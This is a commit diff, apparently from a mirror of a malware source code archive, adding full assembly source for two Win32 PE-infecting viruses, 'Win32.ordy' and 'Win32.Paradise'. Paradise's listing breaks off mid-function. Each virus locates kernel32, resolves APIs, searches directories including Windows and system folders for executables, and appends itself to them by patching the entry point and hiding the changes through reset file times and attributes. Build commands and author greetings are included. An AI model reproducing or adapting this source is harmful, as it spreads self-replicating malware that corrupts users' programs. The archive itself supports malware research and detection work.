mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 07:19:23 +00:00
Add files via upload
This commit is contained in:
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,428 @@
|
||||
|
||||
comment "
|
||||
Win32.ordy by mort[MATRiX]
|
||||
- simple direct action current dir last section PE appender
|
||||
- using ordinal API values to access API
|
||||
|
||||
Well, in viriis there's mostly use some stuff to find APIs no matter
|
||||
of kernel32.dll type,... I use APIs' ordinal values to access APIs.
|
||||
API's address is counted right before it's used,...
|
||||
When i searched for this values in different versions of widows,
|
||||
i found they differ, so i included all ord values i was able to find.
|
||||
U find them in ord.zip file in tools section.
|
||||
I cant test thiss virii on all windoze versions. This one seems to be
|
||||
good under win2k, anyway if u wanna run it under another, recheck
|
||||
API's count,...
|
||||
|
||||
greetz All who helped me to create ordinal log
|
||||
MiCr0s0fT - i founded my CreateFileA API DF sensitive,...
|
||||
r there more? :)))
|
||||
"
|
||||
|
||||
|
||||
.486
|
||||
.model flat,stdcall
|
||||
|
||||
extrn ExitProcess : proc
|
||||
extrn MessageBoxA : proc
|
||||
|
||||
filetime struc
|
||||
FT_dwLowDateTime dd ?
|
||||
FT_dwHighDateTime dd ?
|
||||
filetime ends
|
||||
fileSearch struc
|
||||
FileAttributes dd ?
|
||||
CreationTime filetime ?
|
||||
LastAccessTime filetime ?
|
||||
LastWriteTime filetime ?
|
||||
FileSizeHigh dd ?
|
||||
FileSizeLow dd ?
|
||||
Reserved0 dd ?
|
||||
Reserved1 dd ?
|
||||
FileName db 0260h dup(?)
|
||||
AlternateFileName db 13 dup(?)
|
||||
db 3 dup(?)
|
||||
fileSearch ends
|
||||
|
||||
_vSize = ((@retAdd - @ordy) / 0200h + 1) * 0200h
|
||||
_DEBUG = 0
|
||||
|
||||
.data
|
||||
dd ?
|
||||
|
||||
.code
|
||||
@ordy:
|
||||
mov eax,@retAdd - @ordy
|
||||
push offset @retAdd
|
||||
_retAddress equ $ - 4
|
||||
|
||||
pushad
|
||||
call @SEH
|
||||
|
||||
add esp,8
|
||||
mov esp,[esp]
|
||||
pop dword ptr fs:[0]
|
||||
pop eax
|
||||
popad
|
||||
ret
|
||||
|
||||
if _DEBUG
|
||||
db 01000h dup(0) ;coz of debug symbols,...:(
|
||||
endif
|
||||
|
||||
@SEH:
|
||||
push dword ptr fs:[0]
|
||||
mov dword ptr fs:[0],esp
|
||||
|
||||
xor eax,eax
|
||||
call @findKernel
|
||||
@delta label
|
||||
|
||||
mov ebp,[esp - 4] ;get delta handle
|
||||
|
||||
mov [ebp + _kBase - @delta],eax
|
||||
|
||||
mov ebx,eax ;get kernel values,...
|
||||
add eax,dword ptr [eax + 03ch]
|
||||
add eax,078h
|
||||
mov eax,[eax]
|
||||
add eax,ebx
|
||||
add eax,018h
|
||||
xchg eax,esi
|
||||
lodsd
|
||||
push eax
|
||||
lodsd
|
||||
add eax,ebx
|
||||
mov [ebp + _addBase - @delta],eax
|
||||
pop eax
|
||||
|
||||
lea edi,[ebp + _ordinals - @delta - (_ordEnd - _ordStart - 2)]
|
||||
|
||||
@nextOrdinal:
|
||||
add edi,(_ordEnd - _ordStart) - 2
|
||||
scasw
|
||||
jnz @nextOrdinal
|
||||
mov [ebp + _ordinalBase - @delta],edi
|
||||
|
||||
push 02000h
|
||||
push 040h
|
||||
mov eax,_GlobalAlloc
|
||||
call @callAPI
|
||||
push eax ;for GlobalFree
|
||||
|
||||
push eax
|
||||
call @mask
|
||||
db '*.*',0
|
||||
@mask:
|
||||
mov eax,_FindFirstFileA
|
||||
call @callAPI
|
||||
xchg eax,esi
|
||||
|
||||
@examine:
|
||||
mov eax,[esp]
|
||||
mov al,byte ptr [eax + FileAttributes]
|
||||
and al,010h
|
||||
cmp al,010h
|
||||
jnz @fileFounded
|
||||
|
||||
@nextFile:
|
||||
push dword ptr [esp]
|
||||
push esi
|
||||
mov eax,_FindNextFileA
|
||||
call @callAPI
|
||||
dec eax
|
||||
jz @examine
|
||||
|
||||
mov eax,_GlobalFree
|
||||
call @callAPI
|
||||
|
||||
xor eax,eax
|
||||
sub eax,[esp + 030h] ;cause exception
|
||||
|
||||
@findKernel:
|
||||
add eax,[esp + 030h]
|
||||
and eax,0fffff000h
|
||||
|
||||
@nextPage:
|
||||
sub eax,01000h
|
||||
cmp word ptr [eax],'ZM'
|
||||
jnz @nextPage
|
||||
ret
|
||||
;------------------------------------------------------------------------
|
||||
@rw:
|
||||
; edi - file handle
|
||||
; eax - ReadFile/WriteFile
|
||||
; edx - buffer
|
||||
; ecx - size
|
||||
|
||||
pushad
|
||||
push 0
|
||||
call @fw
|
||||
dd ?
|
||||
@fw:
|
||||
push ecx edx edi
|
||||
call @callAPI
|
||||
popad
|
||||
ret
|
||||
|
||||
;------------------------------------------------------------------------
|
||||
@fileFounded:
|
||||
if _DEBUG
|
||||
mov eax,[esp]
|
||||
cmp dword ptr [eax + FileName],'SOHG'
|
||||
jz @oki
|
||||
jmp @nextFile
|
||||
@oki:
|
||||
endif
|
||||
|
||||
mov ebx,[esp]
|
||||
mov eax,[ebx + FileSizeLow]
|
||||
cmp eax,04000h
|
||||
jb @nextFile
|
||||
|
||||
mov eax,dword ptr [ebx + FileName]
|
||||
and dword ptr [ebx + LastWriteTime],eax
|
||||
jz @nextFile
|
||||
or dword ptr [ebx + LastWriteTime],eax
|
||||
|
||||
mov edx,_ReadFile
|
||||
xchg eax,ebx
|
||||
add eax,01000h
|
||||
xchg eax,edx
|
||||
call @openRW
|
||||
|
||||
push edx
|
||||
push edi
|
||||
mov eax,_CloseHandle
|
||||
call @callAPI
|
||||
|
||||
pop edx
|
||||
|
||||
cld
|
||||
mov edi,edx
|
||||
mov eax,'EPZM'
|
||||
scasw
|
||||
jnz @nextFile
|
||||
shr eax,010h
|
||||
std
|
||||
add edi,dword ptr [edi + 03ah]
|
||||
scasw
|
||||
scasw
|
||||
jnz @nextFile
|
||||
|
||||
mov eax,[edi + 076h]
|
||||
shl eax,3
|
||||
add eax,052h
|
||||
xchg eax,ebx
|
||||
movzx eax,word ptr [edi + 8]
|
||||
imul eax,028h
|
||||
xadd ebx,eax
|
||||
|
||||
mov eax,_vSize
|
||||
add [edi + 052h],eax ;add imagesize
|
||||
xadd [ebx + edi + 010h],eax ;eax - old size
|
||||
push eax
|
||||
add eax,[ebx + edi + 014h] ;add phys. offset
|
||||
mov [ebp + _virBodyPofs - @delta],eax
|
||||
pop eax
|
||||
add eax,[ebx + edi + 0ch]
|
||||
xchg eax,[edi + 02ah] ;set/get entrypoint
|
||||
add eax,[edi + 036h]
|
||||
mov [ebp + _retAddress - @delta],eax ;set it,...
|
||||
add dword ptr [ebx + edi + 08h],01000h ;add virtual size
|
||||
or dword ptr [ebx + edi + 024h],0a0000020h
|
||||
|
||||
lea eax,[ebp + @finalInfection - @delta]
|
||||
push eax
|
||||
mov eax,_WriteFile
|
||||
|
||||
@openRW:
|
||||
mov ecx,01000h
|
||||
|
||||
cld ;coz of CreateFileA DF sensitivity,...:)))
|
||||
call @open
|
||||
call @rw
|
||||
ret
|
||||
|
||||
;------------------------------------------------------------------------
|
||||
@setA:
|
||||
push ebx
|
||||
push eax
|
||||
mov eax,_SetFileAttributesA
|
||||
call @callAPI
|
||||
ret
|
||||
|
||||
;-----------------------------------------------------------------------
|
||||
_CloseHandle = 0 ;API handles
|
||||
_CreateFileA = 2
|
||||
_GlobalAlloc = 4
|
||||
_GlobalFree = 6
|
||||
_WriteFile = 8
|
||||
_ReadFile = 0ah
|
||||
_FindFirstFileA = 0ch
|
||||
_FindNextFileA = 0eh
|
||||
_SetEndOfFile = 010h
|
||||
_SetFileTime = 012h
|
||||
_SetFileAttributesA = 014h
|
||||
|
||||
_ordSize equ _ordEnd - _ordStart
|
||||
;shl 2
|
||||
_ordinals label
|
||||
|
||||
_ordStart label
|
||||
_ordinals95 label
|
||||
dw 0682 ;APIs num
|
||||
dw 088h * 4 ;CloseHandle
|
||||
dw 09dh * 4 ;CreateFileA
|
||||
dw 01b5h * 4 ;GlobalAlloc
|
||||
dw 01bch * 4 ;GlobalFree
|
||||
dw 02e3h * 4 ;WriteFile
|
||||
dw 0242h * 4 ;ReadFile
|
||||
dw 0f9h * 4 ;FindFirstFileA
|
||||
dw 0fch * 4 ;FindNextFile
|
||||
dw 0281h * 4 ;SetEndOfFile
|
||||
dw 028bh * 4 ;SetFileTime
|
||||
dw 0288h * 4 ;SetFileAttributesA
|
||||
_ordEnd label
|
||||
|
||||
_ordinals98 label ;(r1,SE)
|
||||
dw 0745 ;APIs num
|
||||
dw 09fh * 4 ;CloseHandle
|
||||
dw 0b8h * 4 ;CreateFileA
|
||||
dw 01e5h * 4 ;GlobalAlloc
|
||||
dw 01ech * 4 ;GlobalFree
|
||||
dw 0335h * 4 ;WriteFile
|
||||
dw 027dh * 4 ;ReadFile
|
||||
dw 011bh * 4 ;FindFirstFileA
|
||||
dw 0120h * 4 ;FindNextFile
|
||||
dw 02c5h * 4 ;SetEndOfFile
|
||||
dw 02cfh * 4 ;SetFileTime
|
||||
dw 02cch * 4 ;SetFileAttributesA
|
||||
|
||||
_ordinalsNT label
|
||||
dw 02a1h ;APIs num
|
||||
dw 018h * 4 ;CloseHandle
|
||||
dw 031h * 4 ;CreateFileA
|
||||
dw 0155h * 4 ;GlobalAlloc
|
||||
dw 015ch * 4 ;GlobalFree
|
||||
dw 027bh * 4 ;WriteFile
|
||||
dw 01d6h * 4 ;ReadFile
|
||||
dw 082h * 4 ;FindFirstFileA
|
||||
dw 087h * 4 ;FindNextFile
|
||||
dw 0210h * 4 ;SetEndOfFile
|
||||
dw 021ah * 4 ;SetFileTime
|
||||
dw 0217h * 4 ;SetFileAttributesA
|
||||
|
||||
_ordinals2k label
|
||||
dw 0337h ;APIs num
|
||||
dw 01eh * 4 ;CloseHandle
|
||||
dw 037h * 4 ;CreateFileA
|
||||
dw 019ch * 4 ;GlobalAlloc
|
||||
dw 01a3h * 4 ;GlobalFree
|
||||
dw 030eh * 4 ;WriteFile
|
||||
dw 023dh * 4 ;ReadFile
|
||||
dw 0a3h * 4 ;FindFirstFileA
|
||||
dw 0ach * 4 ;FindNextFile
|
||||
dw 028ch * 4 ;SetEndOfFile
|
||||
dw 0297h * 4 ;SetFileTime
|
||||
dw 0293h * 4 ;SetFileAttributesA
|
||||
|
||||
;------------------------------------------------------------------------
|
||||
@open:
|
||||
;eax - filename
|
||||
pushad
|
||||
mov eax,[esp + 028h]
|
||||
add eax,FileName
|
||||
push 0 0 3 0 1
|
||||
push 080000000h or 040000000h
|
||||
push eax
|
||||
|
||||
mov ebx,020h
|
||||
call @setA
|
||||
|
||||
mov eax,_CreateFileA
|
||||
call @callAPI
|
||||
mov [esp],eax ;handle to edi
|
||||
popad
|
||||
ret
|
||||
|
||||
;-------------------------------------------------------
|
||||
;eax - API handle
|
||||
@callAPI:
|
||||
pop edi
|
||||
add eax,012345678h
|
||||
_ordinalBase equ $ - 4
|
||||
movzx eax,word ptr [eax]
|
||||
add eax,012345678h
|
||||
_addBase equ $ - 4
|
||||
mov eax,[eax]
|
||||
add eax,012345678h
|
||||
_kBase equ $ - 4
|
||||
call eax
|
||||
jmp edi
|
||||
;----------------------------------------------------------------
|
||||
@finalInfection:
|
||||
mov eax,012345678h
|
||||
_virBodyPofs equ $ - 4
|
||||
sub eax,01000h
|
||||
push eax
|
||||
mov eax,_ReadFile
|
||||
xor ecx,ecx
|
||||
inc ecx
|
||||
|
||||
@nextByte2Seek:
|
||||
call @rw
|
||||
dec dword ptr [esp]
|
||||
jnz @nextByte2Seek
|
||||
pop eax
|
||||
|
||||
mov ecx,_vSize
|
||||
lea edx,[ebp + @ordy - @delta]
|
||||
add eax,_WriteFile
|
||||
call @rw
|
||||
|
||||
push esi
|
||||
|
||||
push edi edi
|
||||
mov eax,_SetEndOfFile
|
||||
call @callAPI
|
||||
|
||||
mov ebx,[esp]
|
||||
mov eax,[esp + 0ch]
|
||||
add eax,LastWriteTime
|
||||
push eax
|
||||
sub eax,8
|
||||
push eax
|
||||
sub eax,8
|
||||
push eax
|
||||
push ebx
|
||||
mov eax,_SetFileTime
|
||||
call @callAPI
|
||||
|
||||
mov eax,_CloseHandle
|
||||
call @callAPI
|
||||
|
||||
mov ebx,[esp + 4]
|
||||
mov eax,[ebx + FileAttributes]
|
||||
xchg eax,ebx
|
||||
add eax,FileName
|
||||
call @setA
|
||||
|
||||
pop esi ;restore search handle
|
||||
|
||||
@fuckFile:
|
||||
jmp @nextFile
|
||||
|
||||
@retAdd:
|
||||
push 0
|
||||
call @title
|
||||
db '.ordy by mort[MATRiX]',0
|
||||
@title:
|
||||
call @mess
|
||||
db 'hey guys, CreateFileA API is DF sensitive!!! :)))',0
|
||||
@mess:
|
||||
push 0
|
||||
call MessageBoxA
|
||||
call ExitProcess,0
|
||||
ret
|
||||
end @ordy
|
||||
@@ -0,0 +1,823 @@
|
||||
; [Win32.Paradise] - Bugfixed and improved version of Iced Earth
|
||||
; Copyright (c) 1999 by Billy Belcebu/iKX
|
||||
;
|
||||
; ?????? Welcome to another Billy's production.
|
||||
; ???? ??????? ??? Enjoy this new...
|
||||
; ????????????????????
|
||||
; ? ???????????????? ???
|
||||
; ? ????????????? ?
|
||||
; ??????? ?? ?????? ??? ??? ????? ??? ??? ?????? ??????
|
||||
; ??????? ?? ?? ???? ? ??? ? ?? ?? ? ??? ? ??????? ???????
|
||||
; ? ? ?? ? ? ??? ? ?? ?? ? ??? ? ??????? ??????? ???
|
||||
; ?? ??????? ????? ??????? ??????? ??????? ???
|
||||
; ?? ??? ??????? ??????? ??????? ??????? ?????? ????? ??????? ???????
|
||||
; ??????????? ? ??? ? ? ??? ? ? ??? ? ? ??? ? ? ?? ?? ?? ?? ? ????? ? ?????
|
||||
; ????? ?? ???? ? ????? ? ??? ? ? ? ??? ? ??? ? ? ??? ? ?? ?? ????? ? ? ?????
|
||||
; ??? ??? ??? ??????? ??? ??? ??????? ????? ??????? ???????
|
||||
;
|
||||
; Virus Name : Paradise
|
||||
; Virus Author : Billy Belcebu/iKX
|
||||
; Origin : Spain
|
||||
; Platform : Win32
|
||||
; Target : PE files
|
||||
; Compiling : TASM 5.0 and TLINK 5.0 should be used
|
||||
; tasm32 /ml /m3 paradise,,;
|
||||
; tlink32 /Tpe /aa /c /v paradise,paradise,,import32.lib,
|
||||
; Notes : Not very innovative, just made for practice some things, as
|
||||
; CRC32 GetAPI engine, and such like. The name comes from one
|
||||
; of the best songs i've ever heard, and probably my favouri-
|
||||
; te song of Stratovarius. Its lyrics are, sadly, an actual
|
||||
; reality: we are killing the nature slowly and without any
|
||||
; kind of mercy, thinking that we can make any use of every-
|
||||
; thing around without any responsability...
|
||||
; Greetings : It is very clear... to all the Stratovaius fans (specially
|
||||
; to Int13h and Owl) and all the ecologist activists.
|
||||
; Fucks : To everything related to the bullfights, the greatest act
|
||||
; of the human barbarism with the animals, the spanish's
|
||||
; national shame; and to all the acts that go againist the
|
||||
; rights of the animals and/or the vegetables, as well as
|
||||
; with the persons (goddamn fascisms!).
|
||||
;
|
||||
; Rojo, sangre
|
||||
; un color muy nacional
|
||||
; morbo, suerte
|
||||
; sol y arena pide Dios
|
||||
; arte, muerte
|
||||
; sirve de alimento
|
||||
; pase, valiente,
|
||||
; y vuelta al ruedo!!!
|
||||
; Cuando el acero me traspasa el corazon
|
||||
; y se le llama fiesta
|
||||
; y otra vuelta de tuerca
|
||||
; cuando el sadismo se convierte en tradicion
|
||||
; y la faena en gesta
|
||||
; y nadie se molesta
|
||||
; -Reincidentes-
|
||||
;
|
||||
|
||||
.586p
|
||||
.model flat
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Data, macros and such like shit :
|
||||
; ? ??????---???
|
||||
|
||||
extrn MessageBoxA:PROC
|
||||
extrn ExitProcess:PROC
|
||||
|
||||
virus_size equ (offset virus_end-offset virus_start)
|
||||
heap_size equ (offset heap_end-offset heap_start)
|
||||
total_size equ virus_size+heap_size
|
||||
shit_size equ (offset delta-offset Paradise)
|
||||
section_flags equ 00000020h or 20000000h or 80000000h
|
||||
temp_attributes equ 00000080h
|
||||
n_infections equ 04h
|
||||
|
||||
mark equ 04Ch
|
||||
|
||||
; Only hardcoded for 1st generation, don't worry ;)
|
||||
|
||||
kernel_ equ 0BFF70000h
|
||||
kernel_wNT equ 077F00000h
|
||||
|
||||
; Interesting macros for my code
|
||||
|
||||
cmp_ macro reg,joff1 ; Optimized version of
|
||||
inc reg ; CMP reg,0FFFFFFFFh
|
||||
jz joff1 ; JZ joff1
|
||||
dec reg ; The code is reduced in 3
|
||||
endm ; bytes (7-4)
|
||||
|
||||
apicall macro apioff ; Optimize muthafucka!
|
||||
call dword ptr [ebp+apioff]
|
||||
endm
|
||||
|
||||
.data
|
||||
|
||||
szTitle db "Paradise v1.00",0
|
||||
|
||||
szMessage db "Paradise - Visions - Stratovarius",10
|
||||
db "Virus size............"
|
||||
db virus_size/1000 mod 10 + "0"
|
||||
db virus_size/0100 mod 10 + "0"
|
||||
db virus_size/0010 mod 10 + "0"
|
||||
db virus_size/0001 mod 10 + "0"
|
||||
db " bytes",0
|
||||
db "Copyright (c) 1999 by Billy Belcebu/iKX",0
|
||||
|
||||
.code
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Virus startz here :
|
||||
; ? ??????---???
|
||||
|
||||
virus_start label byte
|
||||
|
||||
Paradise:
|
||||
pushad ; Push all da shit
|
||||
pushfd
|
||||
|
||||
call delta_ ; Hardest code to undestand ;)
|
||||
delta: db "[iKX4EVER" ; Yeah... iKX :)
|
||||
delta_: pop ebp
|
||||
mov eax,ebp
|
||||
sub ebp,offset delta
|
||||
|
||||
sub eax,shit_size ; Obtain at runtime the
|
||||
sub eax,00001000h ; imagebase of the process
|
||||
NewEIP equ $-4
|
||||
mov dword ptr [ebp+ModBase],eax
|
||||
|
||||
call ChangeSEH ; SEH rlz :)
|
||||
mov esp,[esp+08h]
|
||||
jmp RestoreSEH
|
||||
ChangeSEH:
|
||||
xor ebx,ebx
|
||||
push dword ptr fs:[ebx]
|
||||
mov fs:[ebx],esp
|
||||
|
||||
mov esi,[esp+2Ch] ; Get program return address
|
||||
and esi,0FFFF0000h ; Align to page
|
||||
mov ecx,5
|
||||
call GetK32
|
||||
|
||||
mov dword ptr [ebp+kernel],eax ; EAX must be K32 base address
|
||||
|
||||
lea esi,[ebp+@@NamezCRC32]
|
||||
lea edi,[ebp+@@Offsetz]
|
||||
call GetAPIs ; Retrieve all APIs
|
||||
|
||||
call PrepareInfection
|
||||
call InfectItAll
|
||||
call payload
|
||||
|
||||
or ebp,ebp ; Is 1st gen?
|
||||
jz fakehost
|
||||
|
||||
RestoreSEH:
|
||||
xor ebx,ebx
|
||||
pop dword ptr fs:[ebx]
|
||||
pop eax
|
||||
|
||||
popfd
|
||||
popad
|
||||
|
||||
mov ebx,12345678h
|
||||
org $-4
|
||||
OldEIP dd 00001000h
|
||||
|
||||
add ebx,12345678h
|
||||
org $-4
|
||||
ModBase dd 00400000h
|
||||
|
||||
push ebx
|
||||
ret
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Retrieve directories to infect :
|
||||
; ? ??????---???
|
||||
|
||||
PrepareInfection:
|
||||
lea edi,[ebp+WindowsDir]
|
||||
push 7Fh
|
||||
push edi
|
||||
apicall _GetWindowsDirectoryA
|
||||
|
||||
add edi,7Fh
|
||||
push 7Fh
|
||||
push edi
|
||||
apicall _GetSystemDirectoryA
|
||||
|
||||
add edi,7Fh
|
||||
push edi
|
||||
push 7Fh
|
||||
apicall _GetCurrentDirectoryA
|
||||
ret
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Infect windows, windows\system and the current dir :
|
||||
; ? ??????---???
|
||||
|
||||
InfectItAll:
|
||||
lea edi,[ebp+directories]
|
||||
mov byte ptr [ebp+mirrormirror],dirs2inf
|
||||
requiem:
|
||||
push edi
|
||||
apicall _SetCurrentDirectoryA
|
||||
|
||||
push edi
|
||||
call Infect
|
||||
pop edi
|
||||
|
||||
add edi,7Fh
|
||||
|
||||
dec byte ptr [ebp+mirrormirror]
|
||||
cmp byte ptr [ebp+mirrormirror],00h
|
||||
jnz requiem
|
||||
|
||||
ret
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Searching... Seek and infect! :
|
||||
; ? ??????---???
|
||||
|
||||
Infect: and dword ptr [ebp+infections],00000000h ; reset countah
|
||||
lea eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit
|
||||
push eax
|
||||
lea eax,[ebp+offset EXE_MASK]
|
||||
push eax
|
||||
|
||||
apicall _FindFirstFileA
|
||||
cmp_ eax,FailInfect
|
||||
|
||||
mov dword ptr [ebp+SearchHandle],eax
|
||||
|
||||
__1: push dword ptr [ebp+ModBase]
|
||||
push dword ptr [ebp+OldEIP]
|
||||
push dword ptr [ebp+NewEIP]
|
||||
|
||||
call Infection
|
||||
|
||||
pop dword ptr [ebp+NewEIP]
|
||||
pop dword ptr [ebp+OldEIP]
|
||||
pop dword ptr [ebp+ModBase]
|
||||
|
||||
inc byte ptr [ebp+infections]
|
||||
cmp byte ptr [ebp+infections],n_infections
|
||||
jz FailInfect
|
||||
|
||||
__2: lea edi,[ebp+WFD_szFileName]
|
||||
mov ecx,MAX_PATH
|
||||
xor al,al
|
||||
rep stosb
|
||||
|
||||
lea eax,[ebp+offset WIN32_FIND_DATA]
|
||||
push eax
|
||||
push dword ptr [ebp+SearchHandle]
|
||||
apicall _FindNextFileA
|
||||
or eax,eax
|
||||
jz CloseSearchHandle
|
||||
jmp __1
|
||||
|
||||
CloseSearchHandle:
|
||||
push dword ptr [ebp+SearchHandle]
|
||||
apicall _FindClose
|
||||
|
||||
FailInfect:
|
||||
ret
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Infect found file :
|
||||
; ? ??????---???
|
||||
|
||||
Infection:
|
||||
lea esi,[ebp+WFD_szFileName] ; Get FileName to infect
|
||||
push 80h
|
||||
push esi
|
||||
apicall _SetFileAttributesA ; Wipe its attributes
|
||||
|
||||
call OpenFile ; Open it
|
||||
|
||||
cmp_ eax,CantOpen
|
||||
|
||||
mov dword ptr [ebp+FileHandle],eax
|
||||
|
||||
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 1st we create map with
|
||||
call CreateMap ; its exact size
|
||||
cmp_ eax,CloseFile
|
||||
|
||||
mov dword ptr [ebp+MapHandle],eax
|
||||
|
||||
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
|
||||
call MapFile ; Map it
|
||||
cmp_ eax,UnMapFile
|
||||
|
||||
mov dword ptr [ebp+MapAddress],eax
|
||||
|
||||
mov esi,eax ; Get PE Header
|
||||
mov esi,[esi+3Ch]
|
||||
add esi,eax
|
||||
cmp dword ptr [esi],"EP" ; Is it PE?
|
||||
jnz NoInfect
|
||||
|
||||
cmp dword ptr [esi+mark],"SDRP" ; Was it infected?
|
||||
jz NoInfect
|
||||
|
||||
push dword ptr [esi+3Ch]
|
||||
|
||||
push dword ptr [ebp+MapAddress] ; Close all
|
||||
apicall _UnmapViewOfFile
|
||||
|
||||
push dword ptr [ebp+MapHandle]
|
||||
apicall _CloseHandle
|
||||
|
||||
pop ecx
|
||||
|
||||
mov eax,dword ptr [ebp+WFD_nFileSizeLow] ; And Map all again.
|
||||
add eax,virus_size
|
||||
|
||||
call Align
|
||||
xchg ecx,eax
|
||||
|
||||
call CreateMap
|
||||
cmp_ eax,CloseFile
|
||||
|
||||
mov dword ptr [ebp+MapHandle],eax
|
||||
|
||||
mov ecx,dword ptr [ebp+NewSize]
|
||||
call MapFile
|
||||
cmp_ eax,UnMapFile
|
||||
|
||||
mov dword ptr [ebp+MapAddress],eax
|
||||
|
||||
mov esi,eax ; Get PE Header
|
||||
mov esi,[esi+3Ch]
|
||||
add esi,eax
|
||||
|
||||
mov edi,esi
|
||||
|
||||
movzx eax,word ptr [edi+06h]
|
||||
dec eax
|
||||
imul eax,eax,28h
|
||||
add esi,eax
|
||||
add esi,78h
|
||||
mov edx,[edi+74h]
|
||||
shl edx,3
|
||||
add esi,edx
|
||||
|
||||
mov eax,[edi+28h]
|
||||
mov dword ptr [ebp+OldEIP],eax
|
||||
|
||||
mov edx,[esi+10h]
|
||||
mov ebx,edx
|
||||
add edx,[esi+14h]
|
||||
|
||||
push edx
|
||||
|
||||
mov eax,ebx
|
||||
add eax,[esi+0Ch]
|
||||
mov [edi+28h],eax
|
||||
mov dword ptr [ebp+NewEIP],eax
|
||||
|
||||
mov eax,[esi+10h]
|
||||
add eax,virus_size
|
||||
mov ecx,[edi+3Ch]
|
||||
call Align
|
||||
|
||||
mov [esi+10h],eax
|
||||
mov [esi+08h],eax
|
||||
|
||||
pop edx
|
||||
|
||||
mov eax,[esi+10h]
|
||||
add eax,[esi+0Ch]
|
||||
mov [edi+50h],eax
|
||||
|
||||
or dword ptr [esi+24h],section_flags
|
||||
mov dword ptr [edi+mark],"SDRP"
|
||||
|
||||
lea esi,[ebp+Paradise]
|
||||
xchg edi,edx
|
||||
add edi,dword ptr [ebp+MapAddress]
|
||||
mov ecx,virus_size
|
||||
rep movsb
|
||||
|
||||
jmp UnMapFile
|
||||
|
||||
NoInfect:
|
||||
dec byte ptr [ebp+infections]
|
||||
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
|
||||
call TruncFile
|
||||
|
||||
UnMapFile:
|
||||
push dword ptr [ebp+MapAddress]
|
||||
apicall _UnmapViewOfFile
|
||||
|
||||
CloseMap:
|
||||
push dword ptr [ebp+MapHandle]
|
||||
apicall _CloseHandle
|
||||
|
||||
CloseFile:
|
||||
push dword ptr [ebp+FileHandle]
|
||||
apicall _CloseHandle
|
||||
|
||||
CantOpen:
|
||||
push dword ptr [ebp+WFD_dwFileAttributes]
|
||||
lea eax,[ebp+WFD_szFileName]
|
||||
push eax
|
||||
apicall _SetFileAttributesA
|
||||
ret
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Get KERNEL32.DLL base address (simplest method) :
|
||||
; ? ??????---???
|
||||
|
||||
GetK32 proc
|
||||
_@1: jecxz WeFailed
|
||||
cmp word ptr [esi],"ZM"
|
||||
jz CheckPE
|
||||
_@2: sub esi,10000h
|
||||
dec ecx
|
||||
jmp _@1
|
||||
CheckPE:
|
||||
mov edi,[esi+3Ch]
|
||||
add edi,esi
|
||||
cmp dword ptr [edi],"EP"
|
||||
jz WeGotK32
|
||||
jmp _@2
|
||||
WeFailed:
|
||||
mov ecx,cs
|
||||
xor cl,cl
|
||||
jecxz WeAreInWNT
|
||||
mov esi,kernel_
|
||||
jmp WeGotK32
|
||||
WeAreInWNT:
|
||||
mov esi,kernel_wNT
|
||||
WeGotK32:
|
||||
xchg eax,esi
|
||||
ret
|
||||
GetK32 endp
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Get all API addresses :
|
||||
; ? ??????---???
|
||||
|
||||
GetAPIs proc
|
||||
@@1: lodsd ; Get in EAX the CRC32 of API
|
||||
push esi
|
||||
push edi
|
||||
call GetAPI_ET_CRC32
|
||||
pop edi
|
||||
pop esi
|
||||
stosd ; Save in [EDI] the API address
|
||||
cmp byte ptr [esi],0BBh ; Last API?
|
||||
jz @@4 ; Yeah, get outta here
|
||||
jmp @@1 ; Nein, loop again
|
||||
@@4: ret
|
||||
GetAPIs endp
|
||||
|
||||
GetAPI_ET_CRC32 proc
|
||||
xor edx,edx
|
||||
xchg eax,edx ; Put CRC32 of da api in EDX
|
||||
mov word ptr [ebp+Counter],ax ; Reset counter
|
||||
mov esi,3Ch
|
||||
add esi,[ebp+kernel] ; Get PE header of KERNEL32
|
||||
lodsw
|
||||
add eax,[ebp+kernel] ; Normalize
|
||||
|
||||
mov esi,[eax+78h] ; Get a pointer to its
|
||||
add esi,1Ch ; Export Table
|
||||
add esi,[ebp+kernel]
|
||||
|
||||
lea edi,[ebp+AddressTableVA] ; Pointer to the address table
|
||||
lodsd ; Get AddressTable value
|
||||
add eax,[ebp+kernel] ; Normalize
|
||||
stosd ; And store in its variable
|
||||
|
||||
lodsd ; Get NameTable value
|
||||
add eax,[ebp+kernel] ; Normalize
|
||||
push eax ; Put it in stack
|
||||
stosd ; Store in its variable
|
||||
|
||||
lodsd ; Get OrdinalTable value
|
||||
add eax,[ebp+kernel] ; Normalize
|
||||
stosd ; Store
|
||||
|
||||
pop esi ; ESI = NameTable VA
|
||||
|
||||
@?_3: push esi ; Save again
|
||||
lodsd ; Get pointer to an API name
|
||||
add eax,[ebp+kernel] ; Normalize
|
||||
xchg edi,eax ; Store ptr in EDI
|
||||
mov ebx,edi ; And in EBX
|
||||
|
||||
push edi ; Save EDI
|
||||
xor al,al ; Reach the null character
|
||||
scasb ; that marks us the end of
|
||||
jnz $-1 ; the api name
|
||||
pop esi ; ESI = Pointer to API Name
|
||||
|
||||
sub edi,ebx ; EDI = API Name size
|
||||
|
||||
push edx ; Save API's CRC32
|
||||
call CRC32 ; Get actual api's CRC32
|
||||
pop edx ; Restore API's CRC32
|
||||
cmp edx,eax ; Are them equal?
|
||||
jz @?_4 ; if yes, we got it
|
||||
|
||||
pop esi ; Restore ptr to api name
|
||||
add esi,4 ; Get the next
|
||||
inc word ptr [ebp+Counter] ; And increase the counter
|
||||
jmp @?_3 ; Get another api!
|
||||
@?_4:
|
||||
pop esi ; Remove shit from stack
|
||||
movzx eax,word ptr [ebp+Counter] ; AX = Counter
|
||||
shl eax,1 ; *2 (it's an array of words)
|
||||
add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
|
||||
